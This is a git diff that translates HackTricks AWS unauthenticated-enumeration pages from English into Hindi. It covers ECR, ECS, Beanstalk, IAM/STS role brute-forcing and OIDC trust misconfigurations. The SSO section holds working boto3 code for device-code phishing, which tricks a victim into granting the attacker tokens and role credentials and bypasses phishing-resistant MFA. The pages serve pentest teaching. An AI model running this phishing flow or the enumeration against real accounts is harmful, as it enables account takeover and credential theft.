b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 2febbed62..5c37f7453 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -4,35 +4,27 @@ ## ECR -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Public registry repositories (images) - -As mentioned in the ECS Enum section, a public registry is **accessible by anyone** uses the format **`public.ecr.aws//`**. If a public repository URL is located by an attacker he could **download the image and search for sensitive information** in the metadata and content of the image. +### सार्वजनिक रजिस्ट्री रिपॉजिटरी (छवियाँ) +जैसा कि ECS Enum अनुभाग में उल्लेख किया गया है, एक सार्वजनिक रजिस्ट्री **किसी भी व्यक्ति द्वारा पहुँच योग्य** है जो प्रारूप **`public.ecr.aws//`** का उपयोग करती है। यदि एक हमलावर द्वारा एक सार्वजनिक रिपॉजिटरी URL पाया जाता है, तो वह **छवि को डाउनलोड कर सकता है और छवि के मेटाडेटा और सामग्री में संवेदनशील जानकारी की खोज कर सकता है।** ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` - > [!WARNING] -> This could also happen in **private registries** where a registry policy or a repository policy is **granting access for example to `"AWS": "*"`**. Anyone with an AWS account could access that repo. +> यह भी **निजी रजिस्ट्रियों** में हो सकता है जहाँ एक रजिस्ट्रि नीति या एक रिपॉजिटरी नीति **उदाहरण के लिए `"AWS": "*"`** के लिए पहुँच प्रदान कर रही है। कोई भी जिसके पास AWS खाता है, उस रिपॉजिटरी तक पहुँच सकता है। -### Enumerate Private Repo - -The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry. +### निजी रिपॉजिटरी की गणना करें +उपकरण [**skopeo**](https://github.com/containers/skopeo) और [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) का उपयोग एक निजी रजिस्ट्रि के भीतर पहुँच योग्य रिपॉजिटरी की सूची बनाने के लिए किया जा सकता है। ```bash # Get image names skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' crane ls | sed 's/ .*//' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 8d0b02ba2..6aff6597e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -4,16 +4,15 @@ ## ECS -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Publicly Accessible Security Group or Load Balancer for ECS Services - -A misconfigured security group that **allows inbound traffic from the internet (0.0.0.0/0 or ::/0)** to the Amazon ECS services could expose the AWS resources to attacks. +### ECS सेवाओं के लिए सार्वजनिक रूप से सुलभ सुरक्षा समूह या लोड बैलेंसर +एक गलत कॉन्फ़िगर किया गया सुरक्षा समूह जो **इंटरनेट से इनबाउंड ट्रैफ़िक की अनुमति देता है (0.0.0.0/0 या ::/0)** अमेज़न ECS सेवाओं के लिए AWS संसाधनों को हमलों के लिए उजागर कर सकता है। ```bash # Example of detecting misconfigured security group for ECS services aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' @@ -21,9 +20,4 @@ aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contain # Example of detecting a publicly accessible load balancer for ECS services aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index 3a73a7328..c43910738 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -4,38 +4,32 @@ ## Elastic Beanstalk -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Web vulnerability +### वेब सुरक्षा कमजोरी -Note that by default Beanstalk environments have the **Metadatav1 disabled**. +ध्यान दें कि डिफ़ॉल्ट रूप से Beanstalk वातावरण में **Metadatav1 अक्षम** है। -The format of the Beanstalk web pages is **`https://-env..elasticbeanstalk.com/`** +Beanstalk वेब पृष्ठों का प्रारूप **`https://-env..elasticbeanstalk.com/`** है। -### Insecure Security Group Rules +### असुरक्षित सुरक्षा समूह नियम -Misconfigured security group rules can expose Elastic Beanstalk instances to the public. **Overly permissive ingress rules, such as allowing traffic from any IP address (0.0.0.0/0) on sensitive ports, can enable attackers to access the instance**. +गलत कॉन्फ़िगर किए गए सुरक्षा समूह नियम Elastic Beanstalk उदाहरणों को सार्वजनिक रूप से उजागर कर सकते हैं। **अत्यधिक अनुमति देने वाले इनग्रेस नियम, जैसे संवेदनशील पोर्ट पर किसी भी IP पते (0.0.0.0/0) से ट्रैफ़िक की अनुमति देना, हमलावरों को उदाहरण तक पहुँचने की अनुमति दे सकता है**। -### Publicly Accessible Load Balancer +### सार्वजनिक रूप से सुलभ लोड बैलेंसर -If an Elastic Beanstalk environment uses a load balancer and the load balancer is configured to be publicly accessible, attackers can **send requests directly to the load balancer**. While this might not be an issue for web applications intended to be publicly accessible, it could be a problem for private applications or environments. +यदि एक Elastic Beanstalk वातावरण लोड बैलेंसर का उपयोग करता है और लोड बैलेंसर को सार्वजनिक रूप से सुलभ के रूप में कॉन्फ़िगर किया गया है, तो हमलावर **लोड बैलेंसर पर सीधे अनुरोध भेज सकते हैं**। जबकि यह सार्वजनिक रूप से सुलभ वेब अनुप्रयोगों के लिए कोई समस्या नहीं हो सकती है, यह निजी अनुप्रयोगों या वातावरणों के लिए एक समस्या हो सकती है। -### Publicly Accessible S3 Buckets +### सार्वजनिक रूप से सुलभ S3 बकेट -Elastic Beanstalk applications are often stored in S3 buckets before deployment. If the S3 bucket containing the application is publicly accessible, an attacker could **download the application code and search for vulnerabilities or sensitive information**. - -### Enumerate Public Environments +Elastic Beanstalk अनुप्रयोग अक्सर तैनाती से पहले S3 बकेट में संग्रहीत होते हैं। यदि अनुप्रयोग वाला S3 बकेट सार्वजनिक रूप से सुलभ है, तो एक हमलावर **अनुप्रयोग कोड डाउनलोड कर सकता है और कमजोरियों या संवेदनशील जानकारी की खोज कर सकता है**। +### सार्वजनिक वातावरणों की गणना करें ```bash aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md index 6ed2b74fe..e04f1ac55 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md @@ -2,15 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### सार्वजनिक URL टेम्पलेट ``` https://vpc-{user_provided}-[random].[region].es.amazonaws.com https://search-{user_provided}-[random].[region].es.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index b6092fda4..d8d1456ad 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -1,180 +1,162 @@ -# AWS - IAM & STS Unauthenticated Enum +# AWS - IAM & STS अनधिकृत Enum {{#include ../../../banners/hacktricks-training.md}} -## Enumerate Roles & Usernames in an account +## एक खाते में भूमिकाएँ और उपयोगकर्ता नामों की गणना करें -### ~~Assume Role Brute-Force~~ +### ~~भूमिका मान लेना ब्रूट-फोर्स~~ > [!CAUTION] -> **This technique doesn't work** anymore as if the role exists or not you always get this error: +> **यह तकनीक अब काम नहीं करती** क्योंकि यदि भूमिका मौजूद है या नहीं, तो आपको हमेशा यह त्रुटि मिलती है: > > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` > -> You can **test this running**: +> आप **इसका परीक्षण कर सकते हैं**: > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return: - +आवश्यक अनुमतियों के बिना **भूमिका मानने का प्रयास करना** एक AWS त्रुटि संदेश को सक्रिय करता है। उदाहरण के लिए, यदि अनधिकृत है, तो AWS यह वापस कर सकता है: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` - -This message confirms the role's existence but indicates that its assume role policy does not permit your assumption. In contrast, trying to **assume a non-existent role leads to a different error**: - +यह संदेश भूमिका के अस्तित्व की पुष्टि करता है लेकिन यह संकेत करता है कि इसकी असुमे भूमिका नीति आपकी असुमे की अनुमति नहीं देती। इसके विपरीत, **एक गैर-मौजूद भूमिका को असुमे करने की कोशिश करने से एक अलग त्रुटि होती है**: ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` +दिलचस्प बात यह है कि **मौजूदा और गैर-मौजूदा भूमिकाओं के बीच अंतर करने की यह विधि** विभिन्न AWS खातों के बीच भी लागू होती है। एक मान्य AWS खाता आईडी और एक लक्षित शब्द सूची के साथ, कोई भी खाते में मौजूद भूमिकाओं को बिना किसी अंतर्निहित सीमाओं का सामना किए सूचीबद्ध कर सकता है। -Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations. +आप इस [स्क्रिप्ट का उपयोग करके संभावित प्रिंसिपल्स को सूचीबद्ध कर सकते हैं](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) इस समस्या का दुरुपयोग करते हुए। -You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue. +### ट्रस्ट नीतियाँ: ब्रूट-फोर्स क्रॉस अकाउंट भूमिकाएँ और उपयोगकर्ता -### Trust Policies: Brute-Force Cross Account roles and users - -Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided. +एक **IAM भूमिका की ट्रस्ट नीति को कॉन्फ़िगर या अपडेट करना उस AWS संसाधन या सेवा को परिभाषित करने में शामिल होता है जिसे उस भूमिका को ग्रहण करने की अनुमति है** और अस्थायी क्रेडेंशियल प्राप्त करना। यदि नीति में निर्दिष्ट संसाधन **मौजूद है**, तो ट्रस्ट नीति **सफलता से** सहेजी जाती है। हालाँकि, यदि संसाधन **मौजूद नहीं है**, तो एक **त्रुटि उत्पन्न होती है**, जो बताती है कि एक अमान्य प्रिंसिपल प्रदान किया गया था। > [!WARNING] -> Note that in that resource you could specify a cross account role or user: +> ध्यान दें कि उस संसाधन में आप एक क्रॉस अकाउंट भूमिका या उपयोगकर्ता निर्दिष्ट कर सकते हैं: > > - `arn:aws:iam::acc_id:role/role_name` > - `arn:aws:iam::acc_id:user/user_name` -This is a policy example: - +यह एक नीति का उदाहरण है: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::216825089941:role/Test" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::216825089941:role/Test" +}, +"Action": "sts:AssumeRole" +} +] } ``` - #### GUI -That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating) +यह **त्रुटि** है जो आपको तब मिलेगी जब आप **ऐसी भूमिका का उपयोग करते हैं जो मौजूद नहीं है**। यदि भूमिका **मौजूद है**, तो नीति **बिना किसी त्रुटि के** **सहेजी** जाएगी। (त्रुटि अपडेट के लिए है, लेकिन यह बनाने के समय भी काम करती है) ![](<../../../images/image (153).png>) #### CLI - ```bash ### You could also use: aws iam update-assume-role-policy # When it works aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json { - "Role": { - "Path": "/", - "RoleName": "Test-Role", - "RoleId": "AROA5ZDCUJS3DVEIYOB73", - "Arn": "arn:aws:iam::947247140022:role/Test-Role", - "CreateDate": "2022-05-03T20:50:04Z", - "AssumeRolePolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::316584767888:role/account-balance" - }, - "Action": [ - "sts:AssumeRole" - ] - } - ] - } - } +"Role": { +"Path": "/", +"RoleName": "Test-Role", +"RoleId": "AROA5ZDCUJS3DVEIYOB73", +"Arn": "arn:aws:iam::947247140022:role/Test-Role", +"CreateDate": "2022-05-03T20:50:04Z", +"AssumeRolePolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::316584767888:role/account-balance" +}, +"Action": [ +"sts:AssumeRole" +] +} +] +} +} } # When it doesn't work aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" ``` - -You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) +आप इस प्रक्रिया को स्वचालित कर सकते हैं [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` -Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu): +हम [Pacu](https://github.com/RhinoSecurityLabs/pacu) का उपयोग कर रहे हैं: - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration +- उदाहरण में उपयोग किया गया `admin` भूमिका एक **भूमिका है जो आपके खाते में है जिसे pacu द्वारा अनुकरण किया जाएगा** ताकि वह enumeration के लिए आवश्यक नीतियों को बना सके ### Privesc -In the case the role was bad configured an allows anyone to assume it: - +यदि भूमिका गलत तरीके से कॉन्फ़िगर की गई है और किसी को भी इसे मानने की अनुमति देती है: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` - The attacker could just assume it. ## Third Party OIDC Federation -Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**.\ -This trust might give access to a role with the following **trust policy**: - +कल्पना करें कि आप एक **Github Actions workflow** पढ़ने में सफल होते हैं जो **AWS** के अंदर एक **role** तक पहुँच रहा है।\ +यह विश्वास एक **trust policy** के साथ एक role तक पहुँच प्रदान कर सकता है: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] } ``` +यह ट्रस्ट नीति सही हो सकती है, लेकिन **अधिक शर्तों की कमी** आपको इसे अविश्वसनीय बनानी चाहिए।\ +यह इसलिए है क्योंकि पिछले भूमिका को **Github Actions से कोई भी** मान लिया जा सकता है! आपको शर्तों में अन्य चीजें भी निर्दिष्ट करनी चाहिए जैसे कि संगठन का नाम, रिपॉजिटरी का नाम, वातावरण, शाखा... -This trust policy might be correct, but the **lack of more conditions** should make you distrust it.\ -This is because the previous role can be assumed by **ANYONE from Github Actions**! You should specify in the conditions also other things such as org name, repo name, env, brach... - -Another potential misconfiguration is to **add a condition** like the following: - +एक और संभावित गलत कॉन्फ़िगरेशन है **एक शर्त जोड़ना** जैसे कि निम्नलिखित: ```json "StringLike": { - "token.actions.githubusercontent.com:sub": "repo:org_name*:*" +"token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` +ध्यान दें कि **वाइल्डकार्ड** (\*) **कोलन** (:) से पहले है। आप **org_name1** जैसे एक संगठन बना सकते हैं और **भूमिका ग्रहण** कर सकते हैं एक Github Action से। -Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org_name1** and **assume the role** from a Github Action. - -## References +## संदर्भ - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index fd4d31de6..204dca4fa 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -2,35 +2,32 @@ {{#include ../../../banners/hacktricks-training.md}} -## AWS Device Code Phishing +## AWS डिवाइस कोड फ़िशिंग -Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**. +शुरुआत में [**इस ब्लॉग पोस्ट**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) में प्रस्तावित, यह संभव है कि एक **लिंक** को एक उपयोगकर्ता को AWS SSO का उपयोग करते हुए भेजा जाए, यदि **उपयोगकर्ता स्वीकार करता है** तो हमलावर को **उपयोगकर्ता का प्रतिनिधित्व करने के लिए एक टोकन प्राप्त होगा** और वह सभी भूमिकाओं तक पहुँच प्राप्त कर सकेगा जिन तक उपयोगकर्ता पहुँच सकता है **Identity Center** में। -In order to perform this attack the requisites are: +इस हमले को करने के लिए आवश्यकताएँ हैं: -- The victim needs to use **Identity Center** -- The attacker must know the **subdomain** used by the victim `.awsapps.com/start` +- पीड़ित को **Identity Center** का उपयोग करना होगा +- हमलावर को पीड़ित द्वारा उपयोग किए जाने वाले **सबडोमेन** का पता होना चाहिए `.awsapps.com/start` -Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account. +सिर्फ पिछले जानकारी के साथ, **हमलावर उपयोगकर्ता को एक लिंक भेजने में सक्षम होगा** जो यदि **स्वीकृत** किया गया तो **हमलावर को AWS उपयोगकर्ता** खाते पर पहुँच प्रदान करेगा। -### Attack +### हमला -1. **Finding the subdomain** +1. **सबडोमेन खोजना** -The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here. - -With this info, it's possible to get the region where the Indentity Center was configured with: +हमलावर का पहला कदम यह पता लगाना है कि पीड़ित कंपनी अपने Identity Center में कौन सा सबडोमेन उपयोग कर रही है। यह **OSINT** या **अनुमान + BF** के माध्यम से किया जा सकता है क्योंकि अधिकांश कंपनियाँ यहाँ अपने नाम या उनके नाम का एक भिन्न रूप उपयोग कर रही होंगी। +इस जानकारी के साथ, यह संभव है कि उस क्षेत्र को प्राप्त किया जा सके जहाँ Identity Center को कॉन्फ़िगर किया गया था: ```bash curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' "region":"us-east-1 ``` +2. **शिकार के लिए लिंक उत्पन्न करें और इसे भेजें** -2. **Generate the link for the victim & Send it** - -Run the following code to generate an AWS SSO login link so the victim can authenticate.\ -For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token: - +AWS SSO लॉगिन लिंक उत्पन्न करने के लिए निम्नलिखित कोड चलाएँ ताकि शिकार प्रमाणीकरण कर सके।\ +डेमो के लिए, इस कोड को एक पायथन कंसोल में चलाएँ और इसे बंद न करें क्योंकि बाद में आपको टोकन प्राप्त करने के लिए कुछ ऑब्जेक्ट्स की आवश्यकता होगी: ```python import boto3 @@ -39,82 +36,77 @@ AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS sso_oidc = boto3.client('sso-oidc', region_name=REGION) client = sso_oidc.register_client( - clientName = 'attacker', - clientType = 'public' +clientName = 'attacker', +clientType = 'public' ) client_id = client.get('clientId') client_secret = client.get('clientSecret') authz = sso_oidc.start_device_authorization( - clientId=client_id, - clientSecret=client_secret, - startUrl=AWS_SSO_START_URL +clientId=client_id, +clientSecret=client_secret, +startUrl=AWS_SSO_START_URL ) url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` - Send the generated link to the victim using you awesome social engineering skills! -3. **Wait until the victim accepts it** +3. **पीड़ित के स्वीकार करने की प्रतीक्षा करें** -If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**.\ -This is how the promp looks nowadays: +यदि पीड़ित **पहले से AWS में लॉग इन था** तो उसे केवल अनुमतियाँ देने के लिए स्वीकार करना होगा, यदि वह नहीं था, तो उसे **लॉग इन करना होगा और फिर अनुमतियाँ देने के लिए स्वीकार करना होगा**।\ +यहाँ आजकल प्रॉम्प्ट कैसा दिखता है:
-4. **Get SSO access token** - -If the victim accepted the prompt, run this code to **generate a SSO token impersonating the user**: +4. **SSO एक्सेस टोकन प्राप्त करें** +यदि पीड़ित ने प्रॉम्प्ट को स्वीकार कर लिया, तो इस कोड को चलाएँ ताकि **उपयोगकर्ता का अनुकरण करते हुए SSO टोकन उत्पन्न किया जा सके**: ```python token_response = sso_oidc.create_token( - clientId=client_id, - clientSecret=client_secret, - grantType="urn:ietf:params:oauth:grant-type:device_code", - deviceCode=deviceCode +clientId=client_id, +clientSecret=client_secret, +grantType="urn:ietf:params:oauth:grant-type:device_code", +deviceCode=deviceCode ) sso_token = token_response.get('accessToken') ``` +SSO एक्सेस टोकन **8 घंटे के लिए मान्य** है। -The SSO access token is **valid for 8h**. - -5. **Impersonate the user** - +5. **उपयोगकर्ता का अनुकरण करें** ```python sso_client = boto3.client('sso', region_name=REGION) # List accounts where the user has access aws_accounts_response = sso_client.list_accounts( - accessToken=sso_token, - maxResults=100 +accessToken=sso_token, +maxResults=100 ) aws_accounts_response.get('accountList', []) # Get roles inside an account roles_response = sso_client.list_account_roles( - accessToken=sso_token, - accountId= +accessToken=sso_token, +accountId= ) roles_response.get('roleList', []) # Get credentials over a role sts_creds = sso_client.get_role_credentials( - accessToken=sso_token, - roleName=, - accountId= +accessToken=sso_token, +roleName=, +accountId= ) sts_creds.get('roleCredentials') ``` - ### Phishing the unphisable MFA -It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user. +यह जानकर मज़ा आता है कि पिछला हमला **काम करता है भले ही "unphisable MFA" (webAuth) का उपयोग किया जा रहा हो**। इसका कारण यह है कि पिछला **कार्यप्रवाह कभी भी उपयोग किए गए OAuth डोमेन को नहीं छोड़ता**। अन्य फ़िशिंग हमलों की तरह नहीं जहां उपयोगकर्ता को लॉगिन डोमेन को प्रतिस्थापित करना पड़ता है, इस मामले में डिवाइस कोड कार्यप्रवाह इस तरह से तैयार किया गया है कि **कोड एक डिवाइस द्वारा जाना जाता है** और उपयोगकर्ता एक अलग मशीन में भी लॉगिन कर सकता है। यदि प्रॉम्प्ट को स्वीकार किया जाता है, तो डिवाइस, केवल **प्रारंभिक कोड को जानकर**, उपयोगकर्ता के लिए **क्रेडेंशियल्स पुनः प्राप्त करने में सक्षम होगा**। -For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html). +इसके बारे में अधिक जानकारी के लिए [**इस पोस्ट को देखें**](https://mjg59.dreamwidth.org/62175.html). ### Automatic Tools @@ -129,7 +121,3 @@ For more info about this [**check this post**](https://mjg59.dreamwidth.org/6217 - [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md index 38622c338..d4ca4cfe9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md @@ -2,16 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### सार्वजनिक URL टेम्पलेट ``` mqtt://{random_id}.iot.{region}.amazonaws.com:8883 https://{random_id}.iot.{region}.amazonaws.com:8443 https://{random_id}.iot.{region}.amazonaws.com:443 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md index 58b8a1309..ac2111dd1 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### सार्वजनिक URL टेम्पलेट ``` https://{random_id}.kinesisvideo.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index 5109a2044..de5f94e19 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -2,25 +2,19 @@ {{#include ../../../banners/hacktricks-training.md}} -## Public Function URL +## सार्वजनिक फ़ंक्शन URL -It's possible to relate a **Lambda** with a **public function URL** that anyone can access. It could contain web vulnerabilities. - -### Public URL template +यह संभव है कि एक **Lambda** को एक **सार्वजनिक फ़ंक्शन URL** से जोड़ा जाए जिसे कोई भी एक्सेस कर सकता है। इसमें वेब कमजोरियाँ हो सकती हैं। +### सार्वजनिक URL टेम्पलेट ``` https://{random_id}.lambda-url.{region}.on.aws/ ``` - ### Get Account ID from public Lambda URL -Just like with S3 buckets, Data Exchange and API gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public lambda URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). +Just like with S3 buckets, Data Exchange and API 